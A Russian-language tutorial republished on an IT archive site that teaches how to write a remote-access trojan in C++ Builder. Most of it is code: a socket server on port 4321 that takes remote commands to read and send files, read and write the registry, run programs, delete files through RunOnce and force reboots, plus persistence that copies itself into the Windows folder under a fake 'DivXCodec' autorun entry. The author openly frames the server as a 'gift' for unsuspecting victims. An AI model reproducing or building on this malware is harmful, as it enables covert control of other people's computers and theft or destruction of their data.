Большой архив статей, книг, документации по программированию, вебдизайну, компьютерной графике, сетям, операционным системам и многому другому
 
<Добавить в Избранное>    <Сделать стартовой>    <Реклама на сайте>    <Контакты>
  Главная Документация Программы Обои   Экспорт RSS E-Books
 
 

   Безопасность -> Вирусы -> Пишем своего трояна

HI/low, dear fri3ndz!

Сегодня мы будем учиться писать троянчик. Небольшой, но СВОЙ! Почему? Конечно-конечно, троянов в сети навалом, но рано или поздно они =вдруг= начинают определяться антивирусами, приходиться ждать апдейта етц... Ожидание - самый скучный повод. Не знаю как вы, но я ждать не люблю, да и использовать чужие трояны это совсем не по-}{аЦкERR'ски. Короче, пишем свой троян и точка.

После точки, как учили в школе, пишем с большой буквы... Так вот, о чем я? Писать я буду, как обычно, на своем любимом Builder C++. Если у вас руки растут не оттуда, откуда у меня ноги, то без проблем все переделаете под Дельфи, если припрет конечно...

Естественно, наш троян будет состоять из 2х частей =) Серверной (отправляемой как подарок ламерюге) и клиентской (оставим себе на память). Надо сказать, что я давно не юзал никакие трояны, так что не знаю что там сейчас они умеют делать, может уже и коврик под мышкой научились двигать или корпус компа открывать. Мы же пишем "троянчик", поэтому делать он будет только следующее:
1) читать, удалять, запускать файлы на удаленном компьютере
2) работать с реестром на удаленном компьютере
3) ну и традиционный набор разных бесполезных функций, типа открытие CD-ROM'a, смена клавишей мышки etc.

Перекурили и поехали!
Использовать будем стандартные компоненты TClientSocket и TServerSocket.

Начнем с клиента. Набрасываем простенький интерфейс и приступаем к реализации. Управлять удаленным компьютером будем с помощью специальных команд. Для примера пускай структура их будет такая:
Nпараметры. N - цифра. Каждому действию присвоен свой код. Т.е. например 1 - перезагрузка, 2 - чтение файла и т.д. Главное чтоб было однозначное соответствие между тем что хотим сделать (команда передаваемая клиентом) и тем что выполняет программа (обработка команды на сервере). С этим разобрались. Теперь параметры. Бывает мало передать только номер команды. Конечно, чтобы перезагрузить компьютер никаких параметров не надо (хотя можно и здесь передать параметры в функцию перезагрузки), но как например реализовать удаление файла не передавая параметра? Мы передаем команду на удаление файла, но какого?! Для этого будем использовать параметры. В качестве параметра в данном случае будет передаваться имя файла. Бывает, что мало передать один параметр. Например надо прочитать n-строчек из file.txt. Здесь необходимо передать 2 параметра. В нашем примере параметры отделяются друг от друга комбинацией " " - перевод каретки. Объясняется данная структура тем, что в сервере мы сначала помещаем полученную команду в TStringList и потом можем спокойно обращаться к любой строчке этого TStringList'а через свойство Strings[i], где i-номер строчки, а соответственно и номер параметра. В общем, это вещи достаточно очевидные.

Вот так, вроде бы только начав писать клиентскую часть мы ее уже почти и закончили! Ведь на самом деле ничего кроме отсылки команд и приема ответов от сервера она делать и не должна. Для приема ответов просто создадим поле TMemo и добавим обработчик события OnRead нашего компонента TClientSocket:

void __fastcall TForm1::TrojControllerRead(TObject *Sender,
      TCustomWinSocket *Socket)
{
Memo2->Lines->Add(Socket->ReceiveText());
}

Вот и все. Клиент законен! Переходим к серверу...

Сервер будет чуть пообъемнее. Вначале определимся с задачами:
1) получение команд
2) их обработка и выполнение соответствующих действий
3) отсылка ответа клиенту (должны же мы знать что происходит на сервере)
Реализуем...

Во-первых, никакого визуального оформления естественно не будет =) Поэтому на форму поместим только 1 компонент: TServerSocket. Инициализацию его проведем в функции FormCreate(). Хотя можно было бы просто прописать 2 параметра в Object Inspector'е. Но раз уж сделали, так сделали =)

void __fastcall TForm1::FormCreate(TObject *Sender)
{
// ServSckt - наш компонент TServerSocket
ServSckt->Port = 4321;
ServSckt->Active = true;
}

Итак, указали порт, активизировали сокет. Теперь обрабатываем событие ClientRead, т.е. получение данных сокетом. Комментирую на примере:

void __fastcall TForm1::ServScktClientRead(TObject *Sender,
      TCustomWinSocket *Socket)
{
RecCommand(Socket->ReceiveText()); // пишем для наглядности функцию обработки поступившей
				  // информации, которую передаем как параметр этой функции
}
//---------------------------------------------------------------------------
// собственно сама функция: Rec - сокращение от Recognize. Можно по-другому назвать =)
void TForm1::RecCommand (String received)
{
int cn;
TTrojanUtilites Utilz;  // создаем объект наших утилит 
Utilz.Sock=ServSckt;	// необходимо для отсылки ответа клиенту, так как сокет у нас
		// находится на форме, а TTrojanUtilites не имеет никакого отношения
		// к форме. Просто передаем указатель на TServerSocket
String temp;
temp=received;
temp.Delete(2,temp.Length()); 	// получаем первый символ сообщения - номер команды
cn = StrToInt(temp); 		// преобразуем в число
received.Delete(1,1);		// удаляем код команды - остаются одни параметры
switch (cn) {			// в соответсвии с полученой командой 
				// запускаем соотвествующую утилиту 
case 1 : Utilz.RestartMachine(); break;		// перезагрузка
case 2 : Utilz.WriteRegistry(received); break;  // запись в реестр
case 3 : Utilz.ReadRegistry(received); break;	// чтение реестра
case 4 : Utilz.SendFile(received); break;	// чтение файла
case 5 : Utilz.DeleteFile(received); break;	// удаление файла 
case 6 : Utilz.ExecuteFile(received); break;	// запуск файла 
case 7 : Utilz.OpenCloseCD; break;		// открытие/закрытие CD-ROM
case 8 : Utilz.HideMouse(); break;		// прячем курсор мыши 
case 9 : Utilz.SwapMouseButtons(); break;	// переключаем кнопки мыши 
default:
SendMsgToClient("Неправильная команда!") ; // получена недопустимая команда
					   // информируем клиента об этом
}
}

Теперь немного подробнее. Мы пишем специальный класс TTrojanUtilites, в котором реализуем все необходимые функции. В RecognizeCommand (String Directive) мы только отделяем команду от параметров и запускаем необходимые методы TTrojanUtilites, передавая по необходимости в них параметры.

Реализация TTrojanUtilites есть то, чем мы сейчас займемся. Класс оформим в отдельном модуле, не забудьте подключить его.

Поехали... Во-первых, подключаем #include - необходимо для реализации работы с CD-ROM'ом. Далее пишем все необходимые методы.

Краткие комментарии на примере:

void TTrojanUtilites::OpenCloseCD()
{
TMCI_Open_Parms OpenParm;
TMCI_Generic_Parms  GenParm;
TMCI_Set_Parms SetParm;
Cardinal DI;
OpenParm.dwCallback = 0;
OpenParm.lpstrDeviceType = "CDAudio";
mciSendCommand(0, MCI_OPEN, MCI_OPEN_TYPE, Longint(&OpenParm));
DI = OpenParm.wDeviceID;
if (!CDROMOPEN)
{
        mciSendCommand(DI, MCI_SET, MCI_SET_DOOR_OPEN, Longint(&SetParm));
        CDROMOPEN = true; // открыть
}
else
{
        mciSendCommand(DI, MCI_SET, MCI_SET_DOOR_CLOSED, Longint(&SetParm));
        CDROMOPEN = false; // закрыть
}
mciSendCommand(DI, MCI_CLOSE, MCI_NOTIFY, Longint(&GenParm));
Sock->Socket->Connections[0]->SendText("Выполнено открытие/закрытие CD-ROM");
}

Перезагрузка:

void TTrojanUtilites::RestartMachine()
{
if (ExitWindowsEx(EWX_FORCE,0) || ExitWindowsEx(EWX_REBOOT,0));
        Sock->Socket->Connections[0]->SendText("Перезагрузка успешно выполнена.");
} 

Вот тут я не отвечаю за все ОСи, перезагрузка-то будет, но хотелось бы сделать ее как после нажатия кнопки RESET, а так будет послано сообщение WM_...ENDSESSION etc. Короче, пробуйте сами. Могу только подкинуть основные направления поиска: смотри функции ExitWindows(), ExitWindowsEx(), InitiateSystemShutdown() и AbortSystemShutdown(). Для особо продвинутых могу предложить вариант написать надежный ребут под определенную ось и чипсет =) Например, мой прошлый комп стабильно резетился (только в Win9x, в NT не работало) следующей вставочкой:

mov dx,0cf9h
mov al,2 
out dx,al
mov al,6
out dx,al

Откуда цифры? Читайте доки по чипсету =) Одним словом, универсального метода перезагрузить комп без WM_...ENDSESSION я не знаю. Если вы знаете - напишите пару строк, не в падлу =)

void TTrojanUtilites::SendFile(String F)
{
TStringList* TTSL=new (TStringList);
TStringList* TTSL2=new (TStringList);
int n, i;
TTSL->Text = F;
if (!FileExists(TTSL->Strings[0]))
{
        Sock->Socket->Connections[0]->SendText("Файл не существует.");
        return;
}
TTSL2->LoadFromFile(TTSL->Strings[0]);  // загружаем файл в TStringList
n = TTSL2->Count;			// получаем число строк в файле
if (n > StrToInt(TTSL->Strings[1]))	// если надо прочитать не весь файл
        n = StrToInt(TTSL->Strings[1]);	// считываем только необходимое число строк
for (i=0;iSocket->Connections[0]->SendText(TTSL2->Strings[i]); // передаем строки клиенту
}
Вроде тут и объяснять нечего.

void TTrojanUtilites::ReadRegistry(ShortString k)
{
TRegistry* reg=new TRegistry;
String res, ts;
TStringList* TTSL=new TStringList;
HKEY k1;
// параметры передаются в следующем порядке: 
////  0 - root key   
////  1 - key name
////  2 - value name
////  3 - value
////  4 - type of value
TTSL->Text = k;
ts = TTSL->Strings[0];  // выбираем RootKey
if (ts == "HKEY_CLASSES_ROOT")   k1 = HKEY_CLASSES_ROOT;
if (ts == "HKEY_CURRENT_USER")   k1 = HKEY_CURRENT_USER;
if (ts == "HKEY_LOCAL_MACHINE")  k1 = HKEY_LOCAL_MACHINE;
if (ts == "HKEY_USERS")          k1 = HKEY_USERS;
if (ts == "HKEY_CURRENT_CONFIG") k1 = HKEY_CURRENT_CONFIG;
reg->RootKey = k1;
reg->OpenKey(TTSL->Strings[1], true); // открываем раздел
ts = TTSL->Strings[3]; // читаем значение параметра опредеоенного типа
if (ts == "Bool")   // двоичный  (REG_BINARY)
        if (reg->ReadBool(TTSL->Strings[2]))
                res = "true";
        else res = "false";
if (ts == "Integer")  //  числовой   (REG_DWORD)
        res = IntToStr(reg->ReadInteger(TTSL->Strings[2]));
if (ts == "String")  // строковый (REG_SZ)
        res = reg->ReadString(TTSL->Strings[2]);
Sock->Socket->Connections[0]->SendText("Чтение реестра. Значение параметра: "+res);
// передаем клиенту значение параметра
}

Запись в реестр аналогична, только используется метод WriteBool(TTSL->Strings[2], false); для записи булевского значения, WriteInteger(TTSL->Strings[2], StrToInt(TTSL->Strings[4])); - для числового, WriteString(TTSL->Strings[2], TTSL->Strings[4]); - для строкового.

Для запуска файлов на удаленном компьютере используем следующую функцию:

void TTrojanUtilites::ExecuteFile(String f)
{
ShellExecute(GetDesktopWindow, "open", f.c_str(), "", "", SW_SHOWNORMAL);
Sock->Socket->Connections[0]->SendText("Запущен файл "+f);
}

Файл запускается в той программе, с которой ассоциирован запуск данного типа файлов, т.е. вы можете запускать не толкьо exe, com, bat, но и любые другие файлы. Html-файл откроется в Explorer'e, Opere, Netscape или еще в чем-то... Хрен знает чем там ламерюга пользуется... Можете запустить ему мп3-шку Децла послушать или Бритни какой-нить, пусть проблюется =)

Идем дальше. Парочка бесполезных функций:

void TTrojanUtilites::HideMouse()
{
ShowCursor(false);
Sock->Socket->Connections[0]->SendText("Курсор мыши скрыт");
}

No commentz...

void TTrojanUtilites::SwapMouseButtons()
{
SwapMouseButton(true);
Sock->Socket->Connections[0]->SendText("Кнопки мыши переключены");

Можно сделать переключение кнопок обратно (передайте в SwapMouseButton параметр false), но я бы посоветовал поставить таймер и каждую секунду переключать кнопки туда-сюда, веселее будет =) В падлу сейчас уже добавлять, но вкратце это будет так: добавляем TTimer на форму, устанавливаем необходимый интервал, и в обработчике события OnTimer прописываем вызов функции SwapMouseButton с параметром, противоположным прошлому вызову. Млин, все-таки все расписал =)

Теперь довольно важная функция:

void TTrojanUtilites::DeleteFile(String f)
{
if (!FileExists(f))
{
        Sock->Socket->Connections[0]->SendText("Файл не существует.");
        return;
}
TRegistry* Reg=new TRegistry;
Reg->RootKey = HKEY_LOCAL_MACHINE;
Reg->OpenKey("SoftwareMicrosoftWindowsCurrentVersionRunOnce", true);
Reg->WriteString("Filez for delete","command.com /c del "+f);
Reg->CloseKey();
Sock->Socket->Connections[0]->SendText("Файл "+f+" будет удален после перезагрузки.");
}

Данная функция НЕ удаляет файл сразу!!! Это сделано специально, так как файлы могут использоваться системой и их удаление возможно только после перезагрузки, данная функция помечает файл к удалению, а удалиться он только после перезагрузки, которую вы легко можете вызвать. Да, еще маленькое примечание: данная функция удаляет только 1 файл, если вы пометите второй файл к удалению - то будет удален только он. А первый останется нетронутым... Немного измените функцию - и можно будет удалять файлы пачками =) Могу еще добавить немного инфы на случай, если надо будет удалить целый каталог и вы точно знаете что в нем нет открытых файлов. Используйте стандартную API функцию SHFileOperation, установив тип операции wFunc в FO_DELETE. Пример:

int res;
SHFILEOPSTRUCT fo;
ZeroMemory(&fo, sizeof(fo));
fo.hwnd   = hwndOwner;  // хэндл окна-владельца прогресс-диалога
fo.pFrom  = pszFullPath; //путь
fo.wFunc  = FO_DELETE;
fo.fFlags = FOF_NOCONFIRMATION; //не спрашивать подтверждения на удаление
res = SHFileOperation(&fo);

Только внимательно все проверьте! Будет обломно если ламерюга "вдруг" увидит надпись "Папка голые тетки не может быть удалена, так как юзер активно смотрит сразу 10 порно-фильмов из нее!". А вообще, если опять удалиться в теорию, то наш главный объект Application имеет несколько полезных событий, наиболее интересное для нас OnException происходит тогда, когда в приложении возникает необработанная исключительная ситуация (деление на ноль, удаление несуществующего файла etc). По умолчанию, обработчик этого события вызывает метод ShowException для отображения окна сообщения с пояснением причины ошибки (оно нам надо?! конечно, НЕТ!). Но, вы можете изменить реакцию на событие onException, переписав его обработчик. Тут ничего трудного нет, просто я не ставил перед собой задачу написать офигенный троян, только подтолкнуть вас к этому =) Кто захочет - допишет все необходимое сам, если что - я подскажу =) Ну вот, вроде бы все функции реализовали. Теперь немного о том, что мы не сделали =) Мы не сделали: загрузку/закачку файла. Это все можно сделать подправив SendFile(). Стандартных функций для пересылки файлов через TClient(Server)Socket я не нашел, но впрочем, это не проблема - просто передавайте файлы фрагментами.

Теперь нам осталось только разобраться с автозагрузкой трояна. Сделаем следующее:
1) при запуске файл переписывается в папку, в которой установлены винды.
2) прописываем запуск нашего файла в реестре.

Реализуем =)

void __fastcall TForm1::FormCreate(TObject *Sender)
{
ServSckt->Port = 4321;
ServSckt->Active = true;
Utilz.Sock=ServSckt;
Utilz.CDROMOPEN=false;

String WinDir;
char WinDir1[144];
GetWindowsDirectory(WinDir1,144);
WinDir=WinDir1; // папка с установленными виндами

String data;
TRegistry *pReg = new TRegistry;
pReg->RootKey=HKEY_LOCAL_MACHINE;
pReg->OpenKey("SoftwareMicrosoftWindowsCurrentVersionRun", true);
data=pReg->ReadString("DivXCodec");
if (data != Application->ExeName) //если нашу программу стерли из
// автозагрузки (DivXCodec - можете поменять по желанию на любое другое название раздела)
     pReg->WriteString("DivXCodec",WinDir+"task16man.exe"); //добавляем ее по новой

if (Application->ExeName!=WinDir+"task16man.exe") //если файл запустили 1ый раз
{
        if (!FileExists(WinDir+"task16man.exe"))
        {
        String dest=WinDir+"task16man.exe";
        BOOL res=MoveFile(Application->ExeName.c_str(), dest.c_str());
	// переписываем файл к виндам
        ServSckt->Active = false; 
        ShellExecute(NULL,NULL,dest.c_str(),NULL,NULL,NULL); //запускаем его
        Application->Terminate(); // это приложение закрываем
        }
        else
        Application->Terminate();
	// я тут не разбирал вариантов типа прога записалась в винды, но ее еще раз 
	// запустили и им подобных, додумайте сами =)
}
else
{
ServSckt->Port = 4321;
ServSckt->Active = true;

String data;
TRegistry *pReg = new TRegistry;
pReg->RootKey=HKEY_LOCAL_MACHINE;
pReg->OpenKey("SoftwareMicrosoftWindowsCurrentVersionRun", true);
data=pReg->ReadString("DivXCodec");
if (data != Application->ExeName) // не дай бог стерли!
    pReg->WriteString("DivXCodec",Application->ExeName); // пишем назад
}
}

В принципе, это все. Троян готов! Конечно, он тяжеловат, малофункционален etc, НО все это можно исправить, творите =) Если сделаете что-нибудь интересное - скидывайте, с радостью опубликуем это для всех. А вообще, я хочу сейчас все это переделать под API Socket'ы, без всяких компонентов, тогда и файл exe гораздо меньше станет. Если у кого-нибудь есть интерес к этому делу - напишите пару строк в мыльницу.

Товарищи ламеры! Внимательно следите теперь за соединениями по порту 4321 =) Некоторые ведь ничего не перекомпиливают и не меняют =)

На этом у меня все. Критика, предложения и 100грамм принимаются, мат и наезды отправляются в /dev/null =) МаЗу с днем рождения!

Клиент [программа и исходный код]
Сервер [программа и исходный код] Автор : Lexxxa Источник : http://inprise.hotbox.ru/builderc_trojan.html

 

 
Интересное в сети
 
10 новых программ
CodeLobster PHP Edition 3.7.2
WinToFlash 0.7.0008
Free Video to Flash Converter 4.7.24
Total Commander v7.55
aTunes 2.0.1
Process Explorer v12.04
Backup42 v3.0
Predator 2.0.1
FastStone Image Viewer 4.1
Process Lasso 3.70.4
FastStone Image Viewer 4.0
Xion Audio Player 1.0.125
Notepad GNU v.2.2.8.7.7
K-Lite Codec Pack 5.3.0 Full


Наши сервисы
Рассылка новостей. Подпишитесь на рассылку сейчас и вы всегда будете в курсе последних событий в мире информационных технологий.
Новостные информеры. Поставьте наши информеры к себе и у вас на сайте появится дополнительный постоянно обновляемый раздел.
Добавление статей. Если вы являетесь автором статьи или обзора на тему ИТ присылайте материал нам, мы с удовольствием опубликуем его у себя на сайте.
Реклама на сайте. Размещая рекламу у нас, вы получите новых посетителей, которые могут стать вашими клиентами.
 
Это интересно
 

Copyright © CompDoc.Ru
При цитировании и перепечатке ссылка на www.compdoc.ru обязательна. Карта сайта.
 
Rambler's Top100